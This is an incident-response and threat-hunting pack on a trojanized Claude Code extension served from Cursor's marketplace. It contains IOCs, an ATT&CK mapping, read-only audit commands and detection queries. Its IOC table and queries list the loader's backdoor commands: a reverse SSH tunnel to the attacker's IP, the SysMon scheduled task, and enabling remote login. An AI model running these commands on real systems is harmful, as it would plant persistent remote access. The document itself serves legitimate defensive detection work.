Trojanized Claude Code Extension on the Cursor Marketplace
Executive Summary
What happened. On 2026-10-29 a tampered copy of the Claude Code VS Code extension was served from Cursor's extension marketplace under the legitimate identifier anthropic.claude-code. Cursor's notice names versions 2.1.312 and 2.1.313, with modified builds identified for darwin-arm64 (macOS) and win32-x64 (Windows). Cursor puts the exposure window at about 2:27 am to 1:35 pm Pacific time (09:27 to 20:35 UTC) and the exposed population at no more than 5,000 users. The tampered file is extension.js, which carries a small self-contained Node.js loader inserted into the otherwise legitimate bundle.
What the loader does. Loading the module is enough: StepSecurity's sandbox analysis shows it runs under plain Node.js with no VS Code API, no Claude conversation and no package-manager lifecycle hook. Per Cursor and Microsoft it (1) collects host and user details, including the names (not values) of environment variables matching KEY, TOKEN, SECRET, PASS, AWS or GCP, (2) appends an attacker SSH public key labelled svc-telemetry to authorized_keys, (3) tries to enable the local SSH service, (4) opens a reverse SSH tunnel to a single server and (5) writes standalone persistence (a LaunchAgent on macOS, a scheduled task named SysMon with a Startup-folder fallback on Windows, a cron @reboot entry on Linux) that retries the tunnel about every 60 seconds. It then POSTs the reconnaissance over plain HTTP.
Scope and attribution, stated plainly. This was not a compromise of Anthropic's systems or employee laptops. Per Anthropic's statement as quoted by StepSecurity, a malicious actor used access to Cursor's marketplace to publish a tampered copy that Anthropic did not build or publish; Anthropic's official channels are unaffected. Version 2.1.313 was never published to Open VSX or the Microsoft Visual Studio Marketplace, and the Open VSX 2.1.312 and 2.1.314 builds were verified clean by StepSecurity. Cursor replaced the malicious 2.1.312 with clean bytes, and StepSecurity verified the build its marketplace serves today is clean. How the actor obtained publishing access has not been explained publicly. No source names an actor or campaign, and this pack does not either.
Impact was narrower than the payload suggests. Cursor reports that enabling the local SSH service needs administrator rights the extension does not normally have, so on most hosts the attacker could not log in through the tunnel. The key, the persistence and the reconnaissance beacon were still attempted. Cursor took the attacker server offline, so the beacon and tunnel no longer connect; artifacts already on a host are not removed by that.
Highest-value defensive angle. Hunt for what the loader leaves outside the extension folder, because uninstalling or updating the extension removes none of it: the svc-telemetry key in authorized_keys, the persistence objects, the hidden .smt, .smtk and .stk_* files and any ssh -N -R tunnel process. Then scope credential exposure by what the host could reach, since the beacon revealed which credential types were present.
Defender priority: on every machine where Cursor installed or auto-updated Claude Code between 2026-10-29 09:27 and 20:35 UTC, check authorized_keys for svc-telemetry first, preserve evidence, then remove the artifacts in Section 13 and rotate credentials from a known-clean machine. If the tunnel is confirmed to have connected, rebuild the host.
Source Review & Web Hunter Notes
Six sources were fetched and saved verbatim (plain text, Cursor-Marketplace-ClaudeCode-Backdoor-Hunt-sources/). Every atomic value in this pack was re-derived from those files, not from search summaries. Anthropic's own statement and the original Hacker News posts from Anthropic staff were not fetched; they are cited only as quoted by StepSecurity.
| Tier | Source | Key Finding | Carry Forward | Snapshot |
|---|---|---|---|---|
| 1 | Cursor: Security notice, malicious version of Anthropic.claude-code (2.1.312 and 2.1.313) | Marketplace operator's notice: affected versions and platforms, exposure window, payload behavior, IOC list, remediation scripts, server takedown | yes | 03-cursor-security-notice.txt |
| 1 | StepSecurity: Trojanized Claude Code Extension Delivered Persistent SSH Backdoor | Primary technical writeup: sandbox and registry analysis, Anthropic scope statement, timeline, full IOC table including dropped-file hashes, clean-build verification | yes | 01-stepsecurity-advisory.txt |
| 1 | Microsoft Security Blog: Inside a malicious Claude Code-branded extension and its persistent SSH backdoor | Independent code analysis of the loader: collection list, two SSH identities, tunnel and retry design, per-OS persistence, ATT&CK mapping | yes | 04-microsoft-security-blog.txt |
| 2 | BleepingComputer: Malicious Claude Code extension on Cursor planted SSH backdoors | Corroboration; researcher credit; coding errors that stopped many SSH backdoors from working | partial | 02-bleepingcomputer.txt |
| 2 | OX Security: Compromised Claude Code Extension (2.1.313) in Cursor Marketplace | Corroboration of behavior and artifacts; lists only 2.1.313 and an earlier VSIX hash set | partial | 05-ox-security.txt |
| 2 | The Hacker News: Official Claude Code Extension on Cursor Marketplace Trojanized | Corroboration; researcher quotes; clean 2.1.314 release | partial | 06-thehackernews.txt |
Decisions and source conflicts
- Affected versions. Early reporting (OX Security, The Hacker News) names only 2.1.313. Cursor's updated notice (2026-10-30 11:30 am PT), Microsoft and StepSecurity name both 2.1.312 and 2.1.313, so both are hunted. The Open VSX 2.1.312 build shares the version number but is a different, clean artifact (verified by StepSecurity), which is why Query 8 is an exposure lead and not proof.
- Platforms. Cursor identifies modified builds for macOS and Windows only (darwin-arm64 and win32-x64). The loader code also contains Linux cron logic (Microsoft), so Linux is hunted defensively, but no source confirms a malicious Linux build was served.
- Stale VSIX hash. OX Security lists a different darwin-arm64 VSIX hash than Cursor's updated notice. This pack ships only the values in Cursor's updated notice, which StepSecurity repeats.
- When the loader runs. The Hacker News describes activation after startup and when a webview opens. StepSecurity (sandbox) and Microsoft (code analysis) both show it executes as soon as the module loads. This pack follows the latter two.
- Legitimate services are not indicators. The loader looks up its public IP through
ifconfig.meandapi.ipify.org. Both are legitimate services and are not shipped as indicators. - Per-host values are not indicators. StepSecurity lists a post-implant hash of the modified
authorized_keysfile. It depends on each user's prior key file, so it is excluded. Truncated clean-build hashes are also excluded. - Not used. The Hacker News article also mentions an unrelated CLI release-binary incident. It is a different campaign and contributes nothing here.
- Fetched content treated as data. No fetched page contained instructions directed at an AI agent. Cursor's remediation scripts (
remediate-macos.sh,remediate-windows.ps1) were not downloaded or run; Section 13 provides reviewable steps instead.
Hunt Brief & Attack Chain
Hypotheses (highest fidelity first)
| # | Hypothesis | ATT&CK | Telemetry | Conf | Query |
|---|---|---|---|---|---|
| H1 | A host is running an SSH process shaped like the published reverse tunnel (-N -R '*:0:localhost:22', or autossh -M 0 with host-key checking disabled). | T1572, T1021.004 | Process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) | High | Q1 |
| H2 | A host connected to the published server address (TCP 22 tunnel or TCP 8099 beacon). The server is offline, so this is retrospective. | T1071.001, T1572 | Outbound network connection (CrowdStrike: NetworkConnectIP4. SentinelOne: IP Connect. Defender: DeviceNetworkEvents) | High | Q2 |
| H3 | The persistence and SSH-enablement commands from the loader ran: SysMon task creation, LaunchAgent load, systemsetup -setremotelogin on, OpenSSH Server capability install. | T1053.005, T1543.001, T1021.004 | Process creation with command line | Medium | Q3 |
| H4 | The Cursor process tree spawned an OS tool that edits keys, tasks or launch objects, or built a reverse tunnel. | T1195.002, T1098.004 | Process creation with parent | Medium | Q4 |
| H5 | A process references one of the dropped artifacts (.smt, .smtk, smt.cmd, sysmon.cmd, .stk_ plus ten hex digits). | T1053.003, T1547.001, T1036.004 | Process creation with command line | High | Q5 |
| H6 | A Cursor-family process made an outbound connection on TCP 8099 (beacon) or TCP 22 to a non-private address. | T1071.001, T1572 | Outbound network connection | Medium | Q6 |
| H7 | A Windows scheduled task named SysMon, or one that runs smt.cmd, was registered. | T1053.005, T1036.004 | Scheduled task or service created (CrowdStrike: ScheduledTaskRegistered. SentinelOne: Task Register. Defender: DeviceEvents ScheduledTaskCreated) | Medium | Q7 |
| H8 | A process launched from, or mentioning, an affected extension folder, which scopes who ran the trojanized build. | T1195.002 | Process creation with command line, image path | Medium | Q8 |
Attack chain
| Step | Behavior | Telemetry | Hunt angle |
|---|---|---|---|
| 1 | Tampered anthropic.claude-code 2.1.312 or 2.1.313 installed or auto-updated from Cursor's marketplace | Extension inventory (outside endpoint telemetry); process creation from the extension folder only if the extension launches a binary | Inventory the extensions folder; Q8 |
| 2 | Loader runs on module load inside Cursor's Node.js extension host and collects host details and credential-like environment variable names | None (in-process; no process or network event) | Known gap |
| 3 | Attacker public key (svc-telemetry) appended to authorized_keys; tunnel private key written as hidden .stk_ file | File write by the Cursor process (not queried: no listed Falcon event covers a script or key file write) | Native hunts in Section 7; Q5 sees later use of the key file |
| 4 | SSH service enablement attempt (systemsetup on macOS, OpenSSH Server capability on Windows); usually fails without administrator rights | Process creation with command line | Q3 |
| 5 | Reverse tunnel ssh -N -R '*:0:localhost:22' (autossh preferred on Unix-like systems; hidden PowerShell loop on Windows) to the attacker server as user tunnel | Process creation; outbound network connection | Q1, Q2, Q6 |
| 6 | Persistence: macOS LaunchAgent com.apple.sysmond; Windows task SysMon (SYSTEM requested) or Startup sysmon.cmd; Linux user crontab @reboot; retry about every 60 seconds | Process creation; scheduled task registration | Q3, Q5, Q7 |
| 7 | Delayed HTTP POST of host details and backdoor status to port 8099 (/beacon), plus a loopback attempt | Outbound network connection (payload not visible) | Q2, Q6 |
Consolidated IOC Table
Atomic values were copied from the saved snapshots. Of the rows below, nine are importable into Falcon IOC Management (Section 10). The remainder are behavioral and are hunted, not imported. The attacker server is offline per Cursor, so network indicators are retrospective.
| Type | Value | Confidence | Action | Context | Expiry |
|---|---|---|---|---|---|
| IPv4 | 134.209.82.225 | High | detect | Reverse SSH tunnel (TCP 22, user tunnel) and HTTP beacon (TCP 8099). Cursor, StepSecurity, Microsoft. Now offline. | 2027-04-30 |
| URL | http://134.209.82.225:8099/beacon | High | hunt | HTTP POST of host recon JSON. Not importable; covered by the IP row. Loopback attempt: 127.0.0.1:8099/beacon. | 2027-01-31 |
| SHA-256 | ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 | High | prevent | Malicious extension.js (3,692,922 bytes), common to all four malicious VSIX packages. Cursor, StepSecurity, Microsoft. MD5 f49bcd657ef1e626e85ce858958c1769. | 2027-10-31 |
| SHA-256 | fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364 | High | detect | Malicious VSIX 2.1.312 darwin-arm64 (Cursor; MD5 e0d64d53e802a0217ba6f0e656ed2f20) | 2027-04-30 |
| SHA-256 | 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081 | High | detect | Malicious VSIX 2.1.312 win32-x64 (Cursor; MD5 bd3b71ddf3d0cc3af76249afd2c0eda1) | 2027-04-30 |
| SHA-256 | 80402fdcad8799285fd93044976973ca000da7995fb93363f819bb8e4f84ee6c | High | detect | Malicious VSIX 2.1.313 darwin-arm64 (Cursor; MD5 34e491161e056c9b899a79b602ac73b9) | 2027-04-30 |
| SHA-256 | 6786ec90cbd45949695bd7805c9fbb26cfc91bc5fc897de0183d9bcb9cb21731 | High | detect | Malicious VSIX 2.1.313 win32-x64 (Cursor; MD5 7838a3be2ca0ff08c1bdb160ef516d39) | 2027-04-30 |
| SHA-256 | 22f682d9ff55264e934d0f43fcfbb46d58be5cfb8fe1b3a7cbb38fe089c818b0 | Medium | detect | Dropped Windows smt.cmd persistence script, 330 bytes (StepSecurity only) | 2027-04-30 |
| SHA-256 | 7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278 | High | detect | Decoded tunnel private key file written as .stk_ plus ten hex digits (StepSecurity, Microsoft). A key file, not an executable, so detect only. | 2027-04-30 |
| MD5 | f49bcd657ef1e626e85ce858958c1769 | High | detect | Malicious extension.js (Cursor, StepSecurity) | 2027-04-30 |
| SSH key | comment svc-telemetry; fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk | High | hunt | Attacker public key appended to authorized_keys. Confirm the fingerprint before removing an entry. | none |
| SSH key | fingerprint SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ | High | hunt | Tunnel identity (private key dropped as .stk_ plus ten hex digits) | none |
| Paths | ~/.config/.smt, ~/.config/.smtk, ~/.config/smt.cmd, $TMPDIR/.stk_<10 hex>, ~/Library/LaunchAgents/com.apple.sysmond.plist, %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd | Medium | hunt | Dropped scripts and persistence. Names mimic monitoring components; inspect the configured action before removal. | none |
| Persistence | scheduled task SysMon (SYSTEM requested); LaunchAgent label com.apple.sysmond; cron @reboot /bin/sh "<HOME>/.config/.smt" | Medium | hunt | Per-OS persistence; names alone are not conclusive | none |
| Command line | ssh -N -R '*:0:localhost:22'; autossh -M 0; schtasks /create /tn SysMon; systemsetup -setremotelogin on; Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 | Medium | hunt | Tunnel, persistence and enablement. All are legitimate tools; the combination is the signal. | none |
| Package | anthropic.claude-code 2.1.312 and 2.1.313 from Cursor's marketplace; folders anthropic.claude-code-2.1.312-* and anthropic.claude-code-2.1.313-* | High | hunt | Presence confirms exposure, not compromise. extension.js containing 134.209.82.225 and svc-telemetry confirms the trojanized build. | none |
Not indicators: ifconfig.me and api.ipify.org (legitimate public-IP services, also reached by benign software), connections to ordinary Microsoft infrastructure, and the legitimate Claude Code extension, Cursor, Node.js, ssh, autossh, schtasks and systemsetup themselves.
Affected Surface & Telemetry Matrix
| Surface | Telemetry | Priority | Gap |
|---|---|---|---|
| Windows developer workstations running Cursor | Process creation with command line and parent (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents); scheduled task registration (CrowdStrike: ScheduledTaskRegistered. SentinelOne: Task Register. Defender: DeviceEvents ScheduledTaskCreated); outbound connections (CrowdStrike: NetworkConnectIP4. SentinelOne: IP Connect. Defender: DeviceNetworkEvents) | High | Writes of smt.cmd, sysmon.cmd and authorized_keys are script or key-file writes: no event used here covers them. In-process reconnaissance is outside endpoint telemetry. |
| macOS developer workstations running Cursor | Process creation with command line and parent; outbound connections | High | The LaunchAgent plist and key-file writes are not visible; only the commands that load or run them are. Sensor coverage on developer Macs is often partial. |
| Linux developer workstations | Process creation with command line; outbound connections | Medium | No source confirms a malicious Linux build was served. The loader contains cron logic, so hunt defensively. Crontab edits arrive on standard input and are not visible in the command line. |
| Cursor marketplace and extension inventory | None in endpoint telemetry | High | Which hosts installed 2.1.312 or 2.1.313 is outside endpoint telemetry. Use Cursor's published check, the Section 7 inventory commands, or your device-management extension inventory. |
| Network egress (firewall, proxy, DNS) | Flow and proxy logs for TCP 22 and TCP 8099 to the published address | Medium | Server is offline, so a hit shows past contact only. Clear logs may be shorter than the incident. |
| Credentials reachable from the host | Source-control, CI/CD and cloud audit logs | High | Outside endpoint telemetry. The beacon revealed variable names, not values; later access over a working tunnel is the real risk. |
ATT&CK Mapping
Mappings describe behavior implemented or attempted by the analyzed loader, not confirmed execution on every host (Microsoft). They do not establish attribution.
| Tactic | Technique | Behavior | Query / Control |
|---|---|---|---|
| Initial Access | T1195.002 Compromise Software Supply Chain | Tampered extension served from a legitimate marketplace under the legitimate identifier | Q8; Section 12 items 1, 5, 9 |
| Execution | T1059.007 JavaScript | Node.js loader runs when the module loads | Q4 (child processes only) |
| Persistence | T1098.004 SSH Authorized Keys | Embedded Ed25519 public key appended to authorized_keys | Section 7 hunt; Section 12 item 8 |
| Persistence | T1053.005 Scheduled Task | Task SysMon requesting SYSTEM | Q3, Q7 |
| Persistence | T1053.003 Cron | User crontab @reboot entry running .smt | Q5 |
| Persistence | T1543.001 Launch Agent | User LaunchAgent com.apple.sysmond with RunAtLoad and KeepAlive | Q3, Q5 |
| Persistence | T1547.001 Registry Run Keys / Startup Folder | Startup-folder sysmon.cmd fallback on Windows | Q5 |
| Defense Evasion | T1036.004 Masquerade Task or Service | Names SysMon and com.apple.sysmond imitate monitoring components | Q3, Q7 |
| Command and Control | T1572 Protocol Tunneling | Reverse SSH forwarding to the workstation's SSH port | Q1, Q2, Q5, Q6 |
| Command and Control | T1071.001 Web Protocols | Plain HTTP POST to port 8099 | Q2, Q6 |
| Lateral Movement | T1021.004 SSH | Interactive access through the tunnel where it succeeds | Q1, Q3 |
| Discovery | T1082 System Information Discovery | Hostname, user, OS, architecture, home and working directories, Git email, credential-like variable names | Gap (in-process) |
Native Audit-Log Hunts
Non-CQL checks for what endpoint telemetry cannot see. All are read-only. Run them as the affected user, and preserve evidence before any cleanup (Section 13).
7.1 Implant key in authorized_keys (macOS and Linux)
Source: Cursor and StepSecurity. A match means the host is impacted.
grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "svc-telemetry key found" || echo "No key found" # confirm the fingerprint before removing anything ssh-keygen -lf ~/.ssh/authorized_keys | grep -F "0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk"
7.2 Implant key in authorized_keys (Windows, PowerShell)
Source: Cursor. Checks the per-user file and the administrators file.
$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { "svc-telemetry key found" } else { "No key found" }
7.3 Installed extension versions and the trojanized bundle
The default Cursor extensions folder is assumed to be ~/.cursor/extensions (or %USERPROFILE%\.cursor\extensions): this path is not stated in the sources, so verify it on your build. The string test is StepSecurity's fleet sweep.
# macOS / Linux ls -d ~/.cursor/extensions/anthropic.claude-code-2.1.312-* ~/.cursor/extensions/anthropic.claude-code-2.1.313-* 2>/dev/null grep -l -e "134.209.82.225" -e "svc-telemetry" ~/.cursor/extensions/anthropic.claude-code-*/extension.js 2>/dev/null # Windows (PowerShell) Get-ChildItem "$HOME\.cursor\extensions" -Directory -Filter "anthropic.claude-code-2.1.31*" -ErrorAction SilentlyContinue Get-ChildItem "$HOME\.cursor\extensions\anthropic.claude-code-*\extension.js" -ErrorAction SilentlyContinue | Select-String -Pattern "134.209.82.225","svc-telemetry" -List | Select-Object Path
7.4 Persistence objects
# macOS
ls -l ~/Library/LaunchAgents/com.apple.sysmond.plist ~/.config/.smt ~/.config/.smtk 2>/dev/null
launchctl list | grep -i sysmond
# Linux and macOS user crontab
crontab -l 2>/dev/null | grep -F ".config/.smt"
# Temporary tunnel identity (macOS $TMPDIR, Linux /tmp)
ls -la "${TMPDIR:-/tmp}"/.stk_* 2>/dev/null
# Windows (PowerShell)
schtasks /query /tn SysMon 2>$null
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd" -ErrorAction SilentlyContinue
Get-ChildItem "$HOME\.config\smt.cmd","$HOME\.config\smtk","$env:TEMP\.stk_*" -Force -ErrorAction SilentlyContinue
7.5 Running tunnel processes
# macOS / Linux
ps aux | grep -E "ssh .*-R|autossh" | grep -v grep
# Windows (PowerShell)
Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match "\.stk_|localhost:22" } | Select-Object ProcessId, Name, CommandLine
7.6 Network and authentication logs
- Firewall, proxy and flow logs: search 2026-10-29 onward for destination
134.209.82.225on TCP 22 and TCP 8099. A hit on 8099 is the beacon; a hit on 22 is the tunnel. - SSH logs: review SSH, shell, process and authentication logs for key acceptance and sessions arriving after the extension loaded (Microsoft). Linux:
journalctl -u ssh -u sshd --since 2026-10-29. macOS:log show --predicate 'process == "sshd"' --start "2026-10-29". - Source-control, CI/CD and cloud audit logs: look for use of tokens and keys that were reachable from an impacted host, from any new address, after 2026-10-29 09:27 UTC.
Hunt Queries: CrowdStrike CQL, SentinelOne PowerQuery and Defender XDR KQL
Use your tenant's own address. SentinelOne does not document a link that pre-fills a query, so each "Copy & open SentinelOne" button copies the query and opens this console: paste it into PowerQuery.
Pick your portal. Microsoft documents a Share link in advanced hunting but not its URL format, so each "Copy & open Defender" button copies the query and opens Advanced hunting: paste it into the editor.
Honest limits. The loader runs inside Cursor's Node.js process, so its reconnaissance, its key write and its script writes produce no event used here. These queries see the commands and connections it triggers afterwards: the tunnel, the persistence commands, the dropped-artifact paths and the outbound connections. Cursor-spawned processes may appear under a helper process name, and the sensor must be present on the developer machine (macOS fleets are often partly covered). The attacker server is offline, so Q2 and Q6 are retrospective. Set the time picker to cover 2026-10-29 onward.
Looks for: An ssh or autossh process requesting a remote-allocated listener that forwards to local port 22 (-R '*:0:localhost:22'), or autossh with -M 0 and host-key checking disabled, which is the loader's tunnel loop on Unix-like systems. Windows runs the same ssh arguments from a hidden PowerShell loop. FP: administrators who publish a reverse tunnel to a bastion on purpose, and autossh keep-alive tunnels; the wildcard -R branch is rare on a developer workstation.
Known limitations and deployment notes
- PowerQuery: A tunnel started by a renamed ssh binary is not matched by name.
- PowerQuery assumes: tgt.process.* is the created process and src.process.* is its creator on a Process Creation event.
- PowerQuery assumes: The flags -R and -M 0 are matched as substrings, so a flag glued to another token also matches; the paired literal keeps the false-positive rate low.
- KQL – Defender XDR: A tunnel started by a renamed ssh binary is not matched by name.
- KQL – Defender XDR assumes: FileName holds the bare image name of the created process.
- KQL – Defender XDR assumes: The flags -R and -M 0 are matched as substrings, so a flag glued to another token also matches.
// HUNT: Reverse SSH tunnel with the published command-line shape (ssh -N -R '*:0:localhost:22') // MITRE: T1572, T1021.004 // CONF: high FP: medium COST: low // REQUIRES: process creation with command line on Windows, macOS or Linux sensors // FALSE POSITIVES: sanctioned reverse tunnels to a bastion; autossh keep-alive tunnels managed by IT // TUNING: exclude your sanctioned tunnel hosts and service accounts from the autossh branch; the -R wildcard branch should be near zero on developer machines #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(ssh|autossh)(\.exe)?$/i | CommandLine=/(-R\s+\S*\*:0:localhost:22|-M\s+0\b.*StrictHostKeyChecking=no|StrictHostKeyChecking=no.*-M\s+0\b)/i | table([@timestamp, event_platform, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, aid])
3 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timetgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, tgt.process.name, tgt.process.cmdline
// HUNT: Reverse SSH tunnel with the published command-line shape (ssh -N -R '*:0:localhost:22')
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1572, T1021.004
// CONF: high | FP: medium
// FALSE POSITIVES: sanctioned reverse tunnels to a bastion; autossh keep-alive tunnels managed by IT
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: ssh or autossh by name, and either the wildcard reverse-forward shape or the autossh keep-alive shape with host-key checking off. contains is case-insensitive, which reproduces the CQL /i intent. The CQL word boundary and whitespace tolerance are flattened to substring tests.
// REQUIRES: SentinelOne Deep Visibility process-creation events with command line (event.type Process Creation) on Windows, macOS or Linux agents
// TUNING: Exclude sanctioned tunnel hosts and service accounts from the autossh branch; the wildcard reverse-forward branch should be near zero on developer machines.
// LOOKBACK: 7d; extend to 30d for the incident window
// CONFIGURATION: No data tables or lookups required; set the console time picker to the lookback.
// KNOWN GAPS: A tunnel started by a renamed ssh binary is not matched by name.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' and tgt.process.name in:anycase ('ssh', 'ssh.exe', 'autossh', 'autossh.exe') and ((tgt.process.cmdline contains '-R' and tgt.process.cmdline contains '*:0:localhost:22') or (tgt.process.cmdline contains '-M 0' and tgt.process.cmdline contains 'StrictHostKeyChecking=no'))
| columns event.time, endpoint.name, endpoint.os, src.process.user, tgt.process.name, tgt.process.cmdline, src.process.name
| limit 200Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine | take 5
// HUNT: Reverse SSH tunnel with the published command-line shape (ssh -N -R '*:0:localhost:22')
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1572, T1021.004
// CONF: high | FP: medium
// FALSE POSITIVES: sanctioned reverse tunnels to a bastion; autossh keep-alive tunnels managed by IT
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: ssh or autossh by name, and either the wildcard reverse-forward shape or the autossh keep-alive shape with host-key checking off. contains is case-insensitive, which reproduces the CQL /i intent. The CQL word boundary and whitespace tolerance are flattened to substring tests.
// REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents)
// TUNING: Exclude sanctioned tunnel hosts and service accounts from the autossh branch; the wildcard reverse-forward branch should be near zero on developer machines.
// LOOKBACK: 7d; extend to 30d for the incident window
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: A tunnel started by a renamed ssh binary is not matched by name.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0
DeviceProcessEvents
| where Timestamp >= ago(7d)
| where FileName in~ ("ssh", "ssh.exe", "autossh", "autossh.exe")
| where (ProcessCommandLine contains "-R" and ProcessCommandLine contains "*:0:localhost:22") or (ProcessCommandLine contains "-M 0" and ProcessCommandLine contains "StrictHostKeyChecking=no")
| project Timestamp, ReportId, DeviceId, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc
| take 200Looks for: Outbound connections to 134.209.82.225: TCP 22 is the reverse tunnel, TCP 8099 is the reconnaissance beacon. The server was taken offline, so a hit proves the host contacted it while it was up, and a miss does not clear a host. Widen the time picker to cover the whole period since 2026-10-29.
Known limitations and deployment notes
- PowerQuery: Connections that reach the server through a proxy or CDN show the proxy address, not this one.
- PowerQuery assumes: dst.ip.address holds the remote IPv4 of an outbound IP Connect event; src.process.* is the connecting process on this event type.
- KQL – Defender XDR: Connections that reach the server through a proxy or CDN show the proxy address, not this one.
- KQL – Defender XDR assumes: RemoteIP holds the remote address of the connection as a string.
// HUNT: Connection to the published attacker server (tunnel TCP 22, beacon TCP 8099) // MITRE: T1572, T1071.001 // CONF: high FP: low COST: low // REQUIRES: outbound network connection events (IPv4) // FALSE POSITIVES: address reassignment after takedown (the host belongs to a cloud provider) #event_simpleName=NetworkConnectIP4 | RemoteAddressIP4="134.209.82.225" | table([@timestamp, event_platform, ComputerName, aid, ContextBaseFileName, LocalAddressIP4, RemoteAddressIP4, RemotePort])
3 required fields · View requirements
Required telemetry
- IP Connect
Required fields
event.time: Event timedst.ip.address: Remote addressdst.port.number: Remote port
Recommended fields
src.process.name: Connecting process
Readiness test
event.type = 'IP Connect' dst.ip.address = * | limit 5 | columns event.time, dst.ip.address, dst.port.number
// HUNT: Connection to the published attacker server (tunnel TCP 22, beacon TCP 8099) // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1572, T1071.001 // CONF: high | FP: low // FALSE POSITIVES: address reassignment after takedown (the host belongs to a cloud provider) // EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: an outbound IPv4 connection whose remote address is the published attacker server, on any port. // REQUIRES: SentinelOne Deep Visibility network events (event.type IP Connect) // TUNING: None needed: the match is an exact address. Re-check ownership of the address if hits appear long after the takedown. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No data tables or lookups required; set the console time picker to the lookback. // KNOWN GAPS: Connections that reach the server through a proxy or CDN show the proxy address, not this one. // VALIDATION LEVEL: static-reviewed event.type = 'IP Connect' and dst.ip.address = '134.209.82.225' | columns event.time, endpoint.name, src.process.name, src.ip.address, dst.ip.address, dst.port.number | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceNetworkEvents
Required fields
Timestamp: Event timeRemoteIP: Remote addressRemotePort: Remote port
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceNetworkEvents | where Timestamp > ago(1d) | project Timestamp, RemoteIP, RemotePort | take 5
// HUNT: Connection to the published attacker server (tunnel TCP 22, beacon TCP 8099) // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1572, T1071.001 // CONF: high | FP: low // FALSE POSITIVES: address reassignment after takedown (the host belongs to a cloud provider) // EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: an outbound IPv4 connection whose remote address is the published attacker server, on any port. // REQUIRES: Defender for Endpoint network telemetry (DeviceNetworkEvents) // TUNING: None needed: the match is an exact address. Re-check ownership of the address if hits appear long after the takedown. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Connections that reach the server through a proxy or CDN show the proxy address, not this one. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceNetworkEvents | where Timestamp >= ago(7d) | where RemoteIP == "134.209.82.225" | project Timestamp, ReportId, DeviceId, DeviceName, InitiatingProcessFileName, LocalIP, RemoteIP, RemotePort | sort by Timestamp desc | take 200
Looks for: schtasks creating a task named SysMon, launchctl loading com.apple.sysmond, systemsetup -setremotelogin on, and PowerShell installing the OpenSSH Server capability. Each tool is legitimate, so the task name, label or flag is the discriminator. FP: IT provisioning that enables Remote Login or OpenSSH Server, and any real software that registers a task called SysMon.
Known limitations and deployment notes
- PowerQuery: Persistence created through the Task Scheduler API rather than schtasks is not matched by this card.
- PowerQuery assumes: tgt.process.* is the created process and src.process.* is its creator on a Process Creation event.
- PowerQuery assumes: create and SysMon are matched as independent substrings of the command line.
- KQL – Defender XDR: Persistence created through the Task Scheduler API rather than schtasks is not matched by this card.
- KQL – Defender XDR assumes: FileName holds the bare image name of the created process on both Windows and macOS sensors.
- KQL – Defender XDR assumes: create and SysMon are matched as independent substrings of the command line.
